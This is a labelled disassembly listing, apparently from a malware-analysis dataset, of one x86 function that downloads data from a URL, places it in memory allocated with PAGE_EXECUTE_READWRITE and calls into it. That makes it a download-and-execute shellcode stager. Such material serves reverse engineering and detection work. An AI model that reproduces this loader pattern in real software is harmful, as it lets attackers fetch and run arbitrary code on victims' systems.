Function at 0x40f360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4521b1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x17c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x30], 0
push 0
push 0
push 0
push 0
push 1
push str.lpload
lea ecx, [ebp - 0x24]
call fcn.0044b78f
mov dword [ebp - 4], 0
push 0
push 0x7d0
push 2
lea ecx, [ebp - 0x24]
call fcn.00410270
push 0
push 0x7d0
push 5
lea ecx, [ebp - 0x24]
call fcn.00410270
push 0
push 0x7d0
push 6
lea ecx, [ebp - 0x24]
call fcn.00410270
push 0
push 0x7d0
push 7
lea ecx, [ebp - 0x24]
call fcn.00410270
push 0
push 0x7d0
push 8
lea ecx, [ebp - 0x24]
call fcn.00410270
mov dword [ebp - 0x34], 0x84000002
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov byte [ebp - 4], 1
push 0
push 0
mov eax, dword [ebp - 0x34]
push eax
push 1
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x24]
call fcn.0044b88a
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x178]
mov dword [ebp - 0x2c], edx
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x2c]
call fcn.0044c2f4
cmp dword [ebp - 0x38], 0xc8
jne 0x40f609
mov dword [ebp - 0x3c], 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
push 5
mov ecx, dword [ebp - 0x2c]
call fcn.0044c2cd
cmp dword [ebp - 0x3c], 0
jbe 0x40f609
mov edx, dword [ebp - 0x3c]
add edx, 8
push edx
call fcn.004331b8
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40f4c1
push 0x10
push 0x46b4d4
push str.Failed_to_allocate_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 0x154], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b74a
mov al, byte [ebp - 0x154]
jmp 0x40f766
mov eax, dword [ebp - 0x3c]
add eax, 8
push eax
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00433160
add esp, 0xc
mov dword [ebp - 0x40], 0
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x3c]
jae 0x40f58b
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
cmp eax, 0x800
jae 0x40f504
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x17c], ecx
jmp 0x40f50e
mov dword [ebp - 0x17c], 0x800
mov edx, dword [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
call dword [eax + 0x34]
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x180]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0
jg 0x40f57d
push 0x10
push 0x46b4f8
push str.Failed_to_read_data_from_URL.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x28]
push edx
call fcn.0043306e
add esp, 4
mov byte [ebp - 0x158], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b74a
mov al, byte [ebp - 0x158]
jmp 0x40f766
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x40], eax
jmp 0x40f4dd
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x40f5e8
push 0x10
push str.Error
push str.Failed_to_allocate_executable_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov edx, dword [ebp - 0x28]
push edx
call fcn.0043306e
add esp, 4
mov byte [ebp - 0x15c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b74a
mov al, byte [ebp - 0x15c]
jmp 0x40f766
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x44]
push edx
call fcn.00432c50
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
call dword [ebp - 0x48]
mov byte [ebp - 0x30], 1
cmp dword [ebp - 0x28], 0
je 0x40f61b
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.0043306e
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x40f67b
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
call dword [eax + 0x4c]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x164]
mov dword [ebp - 0x160], edx
cmp dword [ebp - 0x160], 0
je 0x40f671
push 1
mov ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0x160]
mov edx, dword [eax]
call dword [edx + 4]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
jmp 0x40f67b
mov dword [ebp - 0x188], 0
jmp 0x40f741
mov dword [ebp - 4], 0
mov cl, byte [ebp - 0x30]
mov byte [ebp - 0x174], cl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.0044b74a
mov al, byte [ebp - 0x174]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret